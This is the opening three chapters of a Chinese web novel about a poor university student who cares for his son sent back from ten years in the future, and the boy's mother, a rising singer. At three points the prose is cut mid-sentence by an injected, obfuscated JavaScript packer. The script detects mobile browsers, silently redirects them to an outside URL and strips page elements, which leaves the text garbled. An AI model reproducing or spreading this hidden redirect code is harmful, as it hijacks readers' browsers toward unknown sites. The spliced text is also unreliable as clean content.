《我的崽崽来自十年后》 1. 第 1 章 2018年最后一天的京北,一如既往的冷。 跨年音乐节的露天场地里,舞台两侧和人群通道旁,早已被各个艺人的应援会占满。 二十一岁的陆桉,裹了裹身上那件洗得发白的旧冲锋衣,拉链拉到顶,还是挡不住风往领口里灌。 他怀里紧紧搂着个四岁左右的小男孩,成人版的羽绒服把小家伙裹住,只露出一张冻得通红的小脸,却执拗地睁着圆溜溜的眼睛,在攒动的人头和闪烁的荧光里四处张望。 “我要去那里。”小孩从羽绒服里掏出肉乎乎的小手,往想要的方向指去,却被陆桉一把按住。 “不要乱动。”陆桉把他重新裹紧,密不透风。装作没听见孩子哼哼唧唧的请求,抱着他继续往前走。 陆桉低估了一个小孩的执拗,在他怀里不安分地扭动,像条滑溜的小泥鳅,试图脱离他的怀抱。 “音乐会马上开始了,我们先过去找位置。”陆桉试图跟他讲道理。 小孩噘噘嘴,固执地看向不远处,“不要,我要去买妈妈的应援棒。” 陆桉顺着他指的方向看去,那是年仅21岁的新生代原创歌手,年上熙的应援摊位。 陆桉觉得天气冷得他大脑缺氧,让他一个清北状元,至今都分不清是幻觉还是现实。 半个月前,他刚在云南老家处理完奶奶的丧事,回到京北。 导师知道他这几年为给奶奶治病几乎掏空所有,一听说他回来,就约在学校见面,想给他介绍个实习单位。 陆桉坐了一天一夜的火车硬座,精疲力竭地赶到校门口。 然后,就捡到了这个小孩。 小孩一上来就抱住他的腿,脆生生地喊他爸爸。 陆桉开始以为是无聊的恶作剧,直到他拿出了一个老式怀表。 那是奶奶临终前塞到他手心的东西,说原本是要送给孙媳妇的,她如今没有机会看他娶媳妇,只能托他转送。 他明明一路贴身收在背包内侧的夹层里,从云南到京北一路火车到学校,背包就没离开过他的视线,连厕所都是攥着走的,根本不可能丢。 而如今年他背包夹层里空空如也,怀表反倒出现在小孩的手中。 陆桉仔细检查过小孩的怀表,他记得奶奶当给他的那块怀表,指针完好,一直在规律地行走。但孩子手中的这一块,时间仿佛彻底凝固。 但表内独特的捕梦网纹路,源自云南少数民族特有的古老图腾。这种带有深厚文化与地域印记的纹样,极难仿制,做不了假。 这个小孩真有可能是他十年后的儿子。 直到亲子鉴定结果出来,悬着的心终于死了。 陆桉忐忑不安地问他妈妈是谁,那天肯德基店里的大屏上,正在播放一档爆火的音乐选秀节目《拾光唱作人》。 小家伙美滋滋地啃着鸡腿,胖乎乎的小手上沾满了番茄酱,他指向屏幕,一脸骄傲,“最漂亮的那个就是我妈妈。” 陆桉抬头,一眼就看见年上熙,她站在冠军领奖台上,美得与其他选手不在一个图层。 他怔在那里,半晌没动。 直到小家伙偷偷去够他的可乐,“哐当”一声杯子打翻,冰凉的液体洒了一身,他才猛地惊醒。 年上熙,清北建筑系大四学生,和他同班。但从大一起,她就奔波于各种音乐选秀,整个大学四年,只在每学期的期末考场能见到她。 她粉丝不少,更是凭借优越的长相与杰出的音乐才华风靡全校,每次声势浩大地来,声势浩大地走。 而一门心思只扑在学习上的陆桉,与她可谓是没有半分交集的可能。 但偏偏陆桉对年上熙又熟得很,她是他最好兄弟兼室友,江澈的女朋友。 江澈比他小一届,高三那年陆桉兼职给他补过课。后来江澈成绩暴涨50分,也考进清北,还特意走了关系搬进他宿舍,口口声声喊他“老师”,真心拿他当兄弟。 那些关于年上熙的种种,从初识到心动,再到甜蜜相恋,江澈对他无话不谈,他也被迫当了他几年的情感大师。 当年江澈与年上熙一起玩音乐,两人一起参加比赛出道,如今在音乐圈都小有名气。 他们正式在一起后的聚会,年上熙也曾跟着江澈,笑眯眯地朝他喊过一声“老师”。 而此时屏幕里的年上熙,正对着镜头微笑,夺目耀眼,对他的世界正在发生的翻天覆地,一无所知。 原本陆桉打算大四外出实习,继续住宿舍节省房租,但陆阿蛋这个小家伙的到来,他不得不在学校与实习的建筑研究所折中的位置,租了一室一厅。 寸金寸土的京北城,一个月的房租已经让陆桉,过上吃了上顿没下顿的日子,偏偏小家伙还是个娇气的吞金兽。 水果只挑晴王葡萄,佳沛金果这类高端款,连煮鸡蛋都要无菌可生食的品牌蛋,还要喝进口儿童益生菌,一小瓶就要百十块,一天还要喝两瓶。 还喜欢经典款乐高、精装进口绘本,一套动辄成百上千。 陆桉压得喘不上气,唯一欣慰的是,孩子养的这般精细,至少说明未来他的经济水平不算差。 陆阿蛋躺在床上,歪着小脑袋嘬着益生菌,胖乎乎的脚丫在半空一晃一晃。 “才不是呢。” 他眨了眨眼睛,语气天真又认真,“妈妈最有钱钱了,她每天都要出去上班,赚好多好多钱。爸爸你是家里最穷的,你都不出去上班。” 说完,他又想了想,趴在陆桉的耳朵上,带着分享秘密的表情小声说,“我听见隔壁奶奶说说你这样,叫吃软饭哦。” 陆桉十分郁闷那个未来的自己,竟然是个软饭男。 陆桉犹豫着,小心翼翼地开口,“那你……妈妈说什么?” 等了几秒,没有回应。 一扭头,陆阿蛋已经抱着赖皮狗,脸蛋压着狗耳朵,呼吸均匀绵长,快乐地打起了细细的小呼噜。 他怔了怔,随即无奈地叹了口气,伸手轻轻抽走他手里,快要滑落的益生菌瓶子,又将被角仔细掖好。 这是陆阿蛋最好哄睡的一晚,平日里只要到了晚上就闹着他“去找妈妈”,从小家伙的口中透露,未来年上熙工作很忙,但每晚都会给他开视频讲故事,他很黏她。 复杂的关系,以及年上熙的工作,陆桉并未想好要不要去找她。 可养了小少爷半个月,陆桉摸摸口袋里所剩不到的一百块,他终究还是妥协了。 他没有年上熙的联系方式,她身处娱乐圈,行程信息对外保密。陆阿蛋背得滚瓜烂熟的那串妈妈电话,大概是未来才会启用的新号,如今打过去只有忙音。 除非,他找江澈。 陆桉在与江澈的微信界面迟疑许久,直接看见年上熙与江澈,官宣参加“京北跨年音乐节”的消息。 摊位上摆满了各式各样的应援周边,琳琅满目得让陆阿蛋眼睛都看直了。 “妈妈,好多妈妈!”陆阿蛋兴奋地喊出声。 摊主小姐姐疑惑,“妈妈?” 陆桉一把捂住他的小嘴,眼神警告。 陆阿蛋眨眨眼睛,甜甜地对摊主说,“漂亮姐姐,我是崽崽粉哟~” “崽崽粉?我们上熙居然还有崽崽粉。” 摊主并没有怀疑,陆桉也觉得自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311212|198855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神经过敏了。 年上熙才21岁,怎么可能有人会相信,她有一个四岁大的孩子呢。 “我会永远喜欢她的,你要永远喜欢小熙熙嗷~”陆阿蛋甜甜地说。 摊主小姐姐没见过长相这么可爱的小甜豆,瞬间萌化,说话的声音也不自觉嘤嘤起来。 “好嘟,宝宝,我会永远喜欢她的~”摊主指着应援物,“宝宝喜欢哪个,姐姐送给你哟~” “我要这个,这个,还有那个。”陆阿蛋指了一圈,摇摇头,“不过,不用送给我啦,我爸爸有钱。” 已负债的‘有钱人陆桉’:…… 陆阿蛋看着陆桉仅花了十块钱的基础应援棒,已经生气了,陆桉还一把夺过去,紧攥在他自己手里。 “爪子都冻成小猪蹄,我给你拿着。”陆桉说。 “不要,我要自己拿。”陆阿蛋坚持。 “冻感冒怎么办,你想吃药打针?” “扎小屁股好疼的,我才不要。”陆阿蛋缩了手。 “真乖。”陆桉一笑。 音乐会开始,人潮涌动。 陆桉抱着陆阿蛋终于找到所在的位置。 坐在爸爸肩头的陆阿蛋努力张望,还是看不见舞台。 “爸爸,好远……我看不见妈妈,以前我们都坐第一排的。” 而现在,他们是在最后一排的犄角旮旯。 “你现在太小了,离舞台太近伤害耳朵。”陆桉面不改色地忽悠。 实际上,年上熙如今太火,他几乎是按VIP区的价格,才买到这张普通票。若是前排VIP区,票价足以抵他两个月生活费。 在一阵欢呼声中,年上熙一身多巴胺色系的俏皮穿搭出场,明媚张扬,青春活力。 “妈妈,妈妈出来了!!”陆阿蛋在陆桉肩头激动得直蹦。 陆桉看向主舞台,隔着层层人海,他连她的影子都看不见。 只有在大屏上,他才能看清她的脸,她的表情,她肆意的笑。 然而,比起她极具辨识度的歌声,连那惊人的美貌都似乎退居其次。 她的声音透过顶级音响设备传来,清澈透亮,带着一种充满生命力的韧劲,轻易穿透了冬夜的寒冷与现场的喧嚣,直直撞入耳膜。 陆桉僵在原地。 他听过她唱片里的歌,也曾在校园广播或江澈的手机外放里,捕捉过零碎片段,但这是第一次,如此清晰、毫无阻隔地感受到她声音的“在场”。 而肩头的陆阿蛋,早已变成了最狂热的小粉丝,偷偷举着那根在他手里显得巨大的荧光棒,跟着音乐的节奏拼命摇晃,小脸激动得通红。 “爸爸,妈妈唱得最好听了,对不对!” 陆桉张了张嘴,却没能立刻发出声音。 他不知道怎么形容舞台上的她。 她不像建筑图纸那样理性、精确、充满约束的线条,而是一道自由流淌的光,或是一阵掠过旷野的风,无法用他熟悉的逻辑去解构,只能被动地感受那种强烈的、压倒性的“美”的冲击。 年上熙只唱了两首单曲,另一首是与江澈合唱,音乐伴奏期间,两人还默契地跳了一段极具性张力的舞蹈,引得粉丝现场变成尖叫鸡。 “我就说他俩是真的,啊啊啊啊好甜!” “最后对视的眼神,绝对谈了,绝对不清白!” “好好磕,请把他们锁死吧!” 大屏上的年上熙与江澈,对视微笑,眼神拉丝。 陆桉恍然惊醒,手掌酥麻。 而一抬头,陆阿蛋红扑扑的小脸,“爸爸,你实话跟说我,妈妈是不是不要你了?” 2. 第 2 章 陆阿蛋虽然只有四岁,却好像什么都懂。 “妈妈从来不会离开我们这么久的。”他小声说,“她都好多天没给你打电话了。” “妈妈最不喜欢你穷穷的,她喜欢给你钱花。妈妈也不会……跟那个怪叔叔牵手。” 他越说声音越小,眼睛垂下来,抠着自己的手指。 “爸爸,你是不是惹妈妈生气了?你快跟妈妈说对不起呀。妈妈可难哄了,每次都要哄好久好久。” 他凑过来,用手圈成小喇叭,贴在陆桉耳边传授秘诀,“但是,你多亲亲她,她就会笑啦。” 从陆阿蛋这些零碎又笃定的话语里,能拼凑出一个未来。 那时的年上熙和他,过得很好,很幸福。 可现在的年上熙和江澈,看起来,也很幸福。 “一会见到你妈……她,”陆桉难以启齿,声音稳了稳,“先不要喊她妈妈。” 陆阿蛋噘着嘴,生气地叉腰,“为什么,可是我好想好想她呀!” “在家里跟你讲过了,她现在才二十一岁,不可能生出你,何况她是歌手,是明星,如果被爆出来,会毁掉她的事业的,你想让你妈妈被人误会,伤心难过吗?”陆桉循循善诱地跟他讲。 陆阿蛋很聪明,他兴许不明白里面的复杂关系,但他知道不能够让妈妈伤心难过。 陆阿蛋招牌式动作地自己捏捏小脸,拖着小奶音,不情愿地说,“那好叭。” 陆桉骗着保安说孩子实在憋不住,赶着上厕所,保安一脸无奈,挥挥手放他们进去。 谁知刚溜进后台,迎面就撞见从舞台上并肩走下来的年上熙和江澈。 陆阿蛋眼睛一亮,冲着年上熙脆生生脱口而出,说到一半,才想起与陆桉的约定,于是喊成了,“妈妈……姐!” 陆桉心头一跳,一把捂住小家伙的嘴,闪身躲进一旁的墙后。 江澈脚步一顿,视线扫过那道一闪而过的背影,轻轻蹙起眉头。 年上熙正低头划着手机屏幕,挑剔地念叨:“你选的这几家跨年餐厅,风格也太老套了,我一点都不喜欢。” 半晌没等到回应,她抬眼一瞥,发现江澈正望着某个方向出神。 “发什么呆呢?”年上熙伸手拽了拽他的袖子,“跟你说话听见没?看什么呢?” 江澈回过神,语气有些迟疑:“我好像看到陆桉了……还抱着个孩子。” 暗处的陆桉瞬间屏住了呼吸。被捂着嘴的陆阿蛋,则瞪着一双圆溜溜的眼睛。 “陆桉?”年上熙眨了眨眼,一脸茫然,“谁啊?” 陆桉脸上没什么表情,只是手不自觉地收紧了些。 被捂嘴的陆阿蛋,脸憋得通红,拍打他的手挣扎。 陆桉终于回过神来,松了松手,耳朵还紧贴地听外面的对话。 “我兄弟,高三那年给我补了半年课。要不是他,我可能都考不进清北,更别说遇见你了。说起来,他也算咱俩的红娘。之前还一起吃过饭,真忘了?” 年上熙忽然定住,表情一点点拧起来:“我为什么要记得别的男人?” 墙后的陆桉,眸光彻底暗了下去。 江澈低笑,伸手揽过她的腰,将人轻轻带进怀里,嗓音温沉地落在她耳边:“嗯,不用记。你只要记得我就好。” 年上熙又一脸傲娇,“你想得美。” 脚尖却已诚实地踮起,飞快地在江澈脸颊上啄了一下。 就在这亲昵的瞬间,陆阿蛋的小脑袋恰好从墙后好奇地探了出来。 陆桉心头一凛,手指已先于意识行动,迅速而轻柔地覆上了孩子那双圆睁的眼睛。 江澈搂着年上熙往前走,又回头看了一眼,空荡荡的走廊。 可能真看错了,陆桉有钱会存进银行卡,怎么可能会来看音乐会。 两个人打打闹闹地离开,整个走廊里都回荡着两个人的嬉闹声。 躲在暗处目睹这一切的陆桉,这时才缓缓松开手。 陆阿蛋一得自由,立刻踮起脚,眼巴巴望着年上熙身影消失的拐角,着急地拽陆桉的衣角:“爸爸,妈妈走了,我们快去追妈妈呀!” 陆桉没有动。他静默地站在原地,半晌,才低低开口:“阿蛋,以后爸爸会努力赚钱。” 陆阿蛋听不懂,他只知道爸爸没有带她去找妈妈,甚至走向了与妈妈完全相反的方向。 被陆桉抱进怀里往外走时,小家伙终于忍不住了,“哇”一声哭了出来。 “爸爸骗人,爸爸骗人。”他抽抽噎噎地,眼泪珠子滚了满脸,“爸爸不是好爸爸……妈妈不要你了,我、我也不要你了……” 男人喉结滚了滚,蹲下身,指尖轻轻擦去他脸上的泪,声音放得低柔。 “怎么才能不哭?披萨,肯德基,草莓圣代加双份奶油。” 陆阿蛋抽涕的声线顿了顿,哭声还没停。 陆桉添了句:“还有你最喜欢的冰糖葫芦,来的时候,我看见路边有人摆摊了。” 陆阿蛋眼泪瞬间憋了回去,只余鼻尖轻轻抽动,拽住他的袖口,“要……要草莓的。” 陆桉带着陆阿蛋吃了披萨,浑身暖和过来,又买串冰糖葫芦赶地铁回家。 折腾了一天,陆阿蛋累坏了,趴在陆桉的怀里睡着了,手里还紧紧地攥着那串冰糖葫芦。 陆桉一笑,捏捏陆阿蛋的小脸,“你就是个小吃货,跟……她一样。” 话音落下的瞬间,他自己的心却像被那冰糖葫芦的竹签轻轻扎了一下,泛起一阵细密而绵长的酸涩。 地铁呼啸着穿过隧道,光影在车窗上飞速倒退,将他拉回那个同样弥漫着冰糖甜香的冬日傍晚。 大一下学期,年上熙已凭借几个选秀节目在校内名声大噪,走到哪里都带着众星捧月的架势。 陆桉对她的印象,仅是“那个活在聚光灯和议论声里、遥不可及的漂亮同学”。 那天特别冷,风刮在脸上像小刀子。 陆桉从图书馆出来,收到室友微信,嚷嚷着想吃校门口老爷子那家的冰糖葫芦,便拐了过去。 老爷子生意不错,玻璃柜里只剩下最后一串草莓冰糖葫芦。 他刚接过糖葫芦转身,就听见一个带着鼻音、却依旧清亮的女声问:“爷爷,还有草莓的吗?” 是年上熙。 她没化妆,穿着简单的白色长羽绒服,围巾把下半张脸裹得严严实实,只露出一双微微发红的眼睛。 即便如此,在灰扑扑的冬日傍晚,她依然美得惊心动魄。 “哎呀,小姑娘,最后一串刚被一个小伙子买走啦。”老爷子遗憾地指了指陆桉。 年上熙的目光这才落到陆桉,和他手中的糖葫芦上。 那双漂亮的眼睛,不是平日里那种张扬或傲气,而是一种愿望落空后,孩子般的委屈和无措。 她什么也没说,转身快步离开,背影单薄。 鬼使神差地,陆桉没有立刻回宿舍。 他看见年上熙拐进了研究生楼的天台,曾经发生过几起跳楼事件,那里一直被学校明令禁止进入。 他忽然想到她红肿的眼睛,他脚步没停地冲上去,却发现她只是抱着膝盖坐在台阶上打电话,他暗暗松了口气。 准备离开时,他听见她压抑的、断断续续的抽泣声。 “我就是喜欢音乐有什么错,凭什么说我不务正业?建筑是你们选的,不是我。” “回哪个家?你告诉我,我回哪里算家?” “我回去,叫什么?叫客人,还是叫多余的旧行李?” “过年我不回去了,你们就当没生过我。” 电话似乎被那头挂断,她哭到哽咽。 那一刻,舞台上光芒万丈的“年上熙”消失了,只剩下一个孤独又倔强的女孩。 陆桉看着那个蜷缩着的、颤抖的背影。 他轻轻走过去,将那串草莓冰糖葫芦放在她摊开的书页上。 陆桉没有停留,立刻转身。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311213|198855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他不知道后来发生了什么。 只是很多天后,他听到了年上熙刚发布原创新歌《草莓味的陌生人》。 歌词唱着叛逆,唱着孤独,唱着与世界的对抗。 直到他听见歌词: 冷风里,最后一颗草莓的慈悲,沉默的,甜味。 陌生人,谢谢你用甜,接住了我下坠的冬天。 陆桉瞬间僵住,手指停在手机屏幕上。 “陌生人,谢谢你用甜,接住了我下坠的冬天。” 仿佛一道细微的电流窜过脊椎。 他几乎可以肯定,那句歌词里藏着的,就是那个冬夜,那串被他轻轻放下的冰糖葫芦,和那个始终未曾露面、未曾发出一点声音的“他”。 从此,这首歌成了他耳机里的单曲循环。 在他通宵画图的深夜,在他为生计奔波疲惫的间隙,在他一次次从江澈那里听到,他们甜蜜进展而默默消化的时候。 这首歌是他的秘密,是一个与他全然无关的天才少女,在不知情的情况下,给予他这个“沉默的提供者”唯一的、隐秘的回响。 地铁到站声,打断陆桉的思绪。 他抱着陆阿蛋起身,并决定等他醒了,要跟他好好谈谈了。 陆桉察觉到怀里陆阿蛋的呼吸异常急促,低头一看,孩子小脸泛着不正常的潮红。 他心中一紧,伸手一摸,额头滚烫。 “阿蛋?!” “妈妈……”他意识有些模糊,只喃喃地喊着。 陆桉立刻在最近的地铁站下车,抱起阿蛋冲出去拦了辆出租车,直奔最近的医院。 急诊室里,医生检查后快速给出了诊断:急性过敏引发的高烧。 全身密密麻麻的红疹,大致确定是与贴身穿的新衣服有关。 陆桉无比自责,之前阿蛋穿在身上的衣服被他洗了。他去附近的商场买了一件打折的毛衣,廉价的布料和染料刺激了他过于敏感的皮肤。 加上今天在室外受了寒,两相叠加,病情来势汹汹。 “先办手续缴费,然后做皮试,准备输液。”医生一边开单子一边说。 陆桉接过单据,看到费用金额时,手指微微僵住。 他摸遍口袋,身无分文。 最后一点钱,给阿蛋买了披萨和糖葫芦。 他站在缴费窗口前,看着里面嘈杂的人群,第一次感到彻底的无力。 病房里,输上液的陆阿蛋稍微清醒了一些,但烧还没退。 他湿漉漉的眼睛看着陆桉,声音带着哭腔:“爸爸,为什么不带阿蛋找妈妈?阿蛋想妈妈了……” 陆桉喉咙发干,正准备跟他解释这个艰难的现实。 阿蛋的眼泪却先大颗大颗滚了下来,“妈妈……妈妈是不是不要阿蛋了?” “怎么会?妈妈永远都不会不要你的。” 陆阿蛋抽噎着,断断续续地说,“我看见了……妈妈亲了那个叔叔……妈妈是不是喜欢那个叔叔,不要阿蛋和爸爸了……” 这句话像一把钝刀,猛地扎进陆桉心里。 孩子不懂成人世界的复杂与错过,他看到的、理解的,就是最直白也最残忍的背叛和遗弃。 陆桉所有的坚持和“不打扰”,在这一刻被孩子的眼泪击得粉碎。 巨大的自责和心痛淹没了他。 他之前所有的考量,不道德绑架、尊重她的幸福,在儿子滚烫的额头和绝望的眼泪面前,显得苍白而自私。 他不能让一个只有4岁半的孩子,在病中独自承受这种被抛弃的恐惧。 他深吸一口气,终于做出了决定。 他拨通了江澈的电话。 漫长的等待,每一声都敲在他紧绷的神经上。 终于,电话被接起。 传来的却是一个他熟悉到心悸、此刻却疏离无比的女声。 是年下熙。 她的声音带着一丝被打扰的不耐,“江澈在洗澡,你过会儿再打吧。” 3. 第 3 章 年上熙最近事业春风得意,一场音乐选秀节目让她粉丝暴涨五百万,口碑与流量齐飞。公司顺势为她筹备人生第一场全原创个人演唱会,这也是对她原创实力的重磅认可。 她推掉不少邀约,把自己埋进创作里。写歌,找灵感,改词编曲。爆红带来压力,却也赋予她前所未有的动力。这场演唱会,她赌上了全部诚意。 今天中午她从上海飞回京北,参加晚上的跨年音乐节演出。这也让她时隔三个月,终于有机会与男友江澈见面,一起跨年。 音乐节落幕,喧嚣渐远。 房间灯光柔和,窗外偶尔有烟花亮起,整个氛围浪漫又甜蜜,但偏偏这个跨年夜,以年上熙忍无可忍泼了江澈一身红酒结束。 年上熙认为灵感来了,不去捕捉,它就再也不会回来了,这对她来说,就是最大的遗憾。所以她可以牛排吃了一半、话说到一半,随时停下,把闪过的旋律记下来。 而江澈很粘人,约会时她必须满心满眼都是他,哪怕分神一秒,在他眼里都是不在意、是敷衍。 跨年的餐厅暖黄灯光暧昧,年上熙指尖还沾着铅笔灰,刚拿出手机记下一闪而过的旋律。 而已经坐等半小时的江澈,耐心彻底耗尽,声音带着委屈和戾气砸了过来。 “就不能好好陪我跨个年吗?现在只是吃顿饭,你也要停下来。难道以后我们接吻、甚至□□的时候,一有灵感你都要停?” 年上熙觉得他说话太难听,脸色沉下来,“你不要无理取闹,我马上好了。” “我无理取闹,还是你压根就不在意我?” “我怎么不在意你了?我不也是推了晚上的活动过来陪你跨年?” “在意我的话,你会把音乐看得比我还重?在意我的话,会三个月不主动找我、见了面还满脑子都是你的烂歌?” 烂歌? 她熬了无数个通宵、改了十几版才打磨出的旋律,在他嘴里,竟然只是一句轻飘飘的烂歌? 年上熙深吸一口气,压下心头的火气,声音带着一丝疲惫的恳求,“你也玩音乐,我以为你懂我。” “我不懂,所以我去拍戏了。”江澈冷冷地说。 当初江澈玩音乐本就是为了追年上熙。两人出道后,他各方面并不突出,一直不温不火,公司便安排他转型做了演员。 江澈伸手,一把攥住年上熙拿手机的手腕,“你告诉我,你什么时候才记得你有一个男朋友?我们都三个月没见了,你就真的不想我吗?还是说,在你眼里,我连一个音符都比不上?” 她挣扎了一下,却被江澈攥得更紧,年上熙没接话,冷冷地看着她。 江澈察觉到她生气了,松了手。 年上熙什么话也没说,低头继续写谱。 这一下,彻底点燃了江澈的怒火。他忍无可忍,抽走她的本子,狠狠摔在地上。 年上熙浑身一僵,猛地抬头看向他,眼底都是冷意。 而江澈伸手扣住她的肩膀,强迫她看着自己,语气卑微,“我们不吵架了好不好,我们好好跨个年,我知道你压力大,但你一个女孩子没必要这么拼,音乐玩玩就好,不用这么较真。等明年我一毕业,我们就结婚,到时候你就不用这么累了,我会赚好多好多钱养你。” “养我?”年上熙笑了,笑得有点惨淡。 她的手腕还在疼,地上的谱子是她无数个深夜的心血,而眼前这个男人,不仅不懂她,还肆意践踏她的梦想,强迫她活成他想要的样子。 她忽然抬手,端起自己面前那杯盛满红酒的高脚杯,没有丝毫犹豫,手腕一转,整杯暗红的红酒,狠狠泼在了江澈的脸上。 暗红的酒液顺着他错愕的脸流下,沾湿了衬衫。 年上熙冷嘲热讽,“你是不是忘了我是不婚主义?结婚?我看我们先分手吧。” 空气凝固了几秒。 江澈缓缓抬手,抹去下巴滴落的酒液,眼底的错愕被一种伤透的脆弱覆盖。 “年上熙,你到底什么时候像我爱你一样爱我。” 他没有暴怒,没有继续争吵,只是用一种彻底失望乃至漠然的眼神,看了她最后一眼,然后转身,径直走向浴室。 “咔哒”浴室门被不轻不重地关上。 随即,猛烈的水声响起,盖过了一切。 年上熙独自站在那,刚才强硬的气势像被针戳破的气球,迅速干瘪下去。 她看着紧闭的门,心脏后知后觉地传来一阵闷痛。 不是后悔分手,而是一种……熟悉的空洞,又一次,她在亲密关系里搞砸了。 她谈过三次恋爱,每一次都很认真,可最终对方都会对她发出同样的控诉:“年上熙,你到底什么时候像我爱你一样爱我。” 这句话,像是魔咒,她逃不掉。 就在这时,江澈的手机响了。 起初她没理会,可铃声持续不断,吵得人心烦。 她不耐地接通,“江澈在洗澡,你过会儿再打吧。” 对方明显顿了下,在她要挂断时,话筒里传来急迫的声音。 “先别挂,我不找江澈,我找你。” 年上熙蹙眉,瞥见屏幕上的来电显示:陆桉。 这个名字,有印象,又没有印象。 “我是江澈的舍友陆桉,你可能不记得我了,之前我们有见过面。”陆桉怕年上熙等得不耐烦,语速很快。 “你能现在来一趟医院吗?我有非常重要的事跟你说。”陈桉声音带着急迫与恳求。 “有事?” 陈桉,江澈的舍友,他们很熟吗? 她脑海中甚至捕捉不到他一点影子,唯一的印象似乎都是从江澈嘴里听来,江澈是个“陆桉吹”,整天陈桉长,陈桉短。 “电话里真的说不清楚,但事情很急,非常急,求你过来一趟,就现在。” 年上熙没说话,心里的疑虑越来越重。一个几乎算陌生的男人,半夜打电话让她单独去医院? 陆桉显然也意识到了自己请求的唐突与可疑,他深吸了一口气,声音低了下去,几乎带着一丝难堪的颤抖。 “我不是骗子,但你能不能现在一个人过来。这件事最好先不要让江澈知道?” 年上熙:“???” 年上熙盯着浴室门的方向,里面水声未停。 她沉默了几秒,语气冷了下来:“陆桉是吧?你知不知道你自己在说什么?” 一个陌生人,深夜来电,要求她独自赶赴医院,并隐瞒她的男朋友。 这每一句,听起来都离谱得不像人话。 - 电话被对方挂断了。 “妈妈要来了吗?我好想她啊!”陆阿蛋还没退烧,脸蛋红扑扑的,但一听到妈妈眼神亮亮的。 陆阿蛋圆溜溜的杏眼,五官精致,软萌可爱,发色是深棕色炸毛,很像之前爆火的呆呆狼棉花娃娃。 陆桉家眼睛都偏细长,没出过这样圆而清澈的大眼睛,他想,大概随了年上熙的眼睛吧?尤其是哭起来,眼圈连着鼻尖都泛红,破碎又让人心疼。 “阿蛋……你妈妈她……”陆桉满心愧疚,声音卡在喉咙里。 他不敢去碰触陆阿蛋期待的眼神,他把事情搞砸了。 “江澈在洗澡……江澈在洗澡……” 陆桉脑海中不断回放年上熙的话。 今晚是跨年夜,情侣之间之后会发生什么,不言而喻。 话在嘴边辗转了几个来回,那句“她可能不来了”他始终挤不出口。 最后,他只是伸出手,揉揉他的脑袋,“你先闭上眼睛乖乖睡觉。等你醒了,她……就来了。” 陆阿蛋手舞足蹈,“好耶,马上就要见到妈妈了!” 看得出,他很喜欢妈妈。 陆阿蛋很乖,说睡觉,就乖乖闭上眼睛,没一会就呼吸均匀。 陆桉不知道等他醒来该怎么解释,一顿披萨,一套乐高不知道能不能哄好,可他连下一顿饭都买不起。 - 年上熙不知道她为什么开车去了医院,兴许是不知道等江澈出来她如何面对,她只需要一个即可离开的理由。 在路上,她恶补了关于陆桉这个人。 陆桉,清北公认校草,当年以理科状元的成绩考进清北。云南人,自幼父母双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311214|198855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亡,由奶奶一手抚养长大,为给患病的奶奶治病,常年不停兼职凑医药费,日子过得拮据。前段时间他请了半月长假,据说奶奶不幸离世了。 长得没话说,183的身高,自带清爽干净的少年感,性格却安静沉稳,待人接物向来周到妥帖,人缘巨好。 论硬相颜值,他甚至压过江澈一头,只是江澈向来擅打扮、社交能力出众,周身气场扎眼夺目,而陆桉的帅,是藏在温润安静的气质里的,需细品。 “要不是不忍心建筑界缺失一位建筑天才,我真想把他签下来。就他那气质,那种故事感,顶级骨相配上这点身世,稍微一推,绝对爆火。”苏颜在电话那头啧啧有声。 苏颜是年上熙的舍友,后来跟着年上熙做了她的经纪人。尽管如此,她对学校的事,尤其是帅哥的事如数家珍。 苏颜发来一张陆桉的照片。 年上熙点开看了一眼,确实清爽少年感,不过不是她喜欢的类型。 “话说回来,你怎么突然打听起陆桉来了?” 她敏锐地捕捉到一丝不寻常,语速加快,“等等,不对啊。这个点儿,你不是该和江澈在烛光晚餐吗?我怎么听见导航音了,你在哪儿?” 年上熙对苏颜向来没什么可隐瞒的,去见陆桉在她看来也不是什么需要遮掩的事,只是此刻心烦,懒得从头解释,便简短道。 “吵了一架,我先回去。” “吵架,严重吗?” 年上熙看着前方闪烁的车灯,语气平淡地抛下一句:“我提了分手,算严重吗?” “你来真的?”苏颜的声调瞬间拔高。 “不知道。”年上熙的回答里带着一丝不易察觉的疲惫和茫然,“我到了,先挂了。” 苏颜听出了她情绪不高,赶忙收住话头,“你专心开车,路上小心。别想太多了,到家给我发个消息。” - 趁孩子睡着,陆桉拜托护士照看一下,他跟建筑院提前预支了一个月的工资,去附近买了陆阿蛋最喜欢的披萨。 只希望等他醒来,看见好吃的,会暂时忘记找妈妈这件事。 推开病房门,他下意识地放轻了呼吸,而病床上,被子掀开着,空空如也。 陆桉的心脏猛地一沉,手里的披萨盒“啪”地一声掉在地上。 “阿蛋?”他的声音干涩发紧。 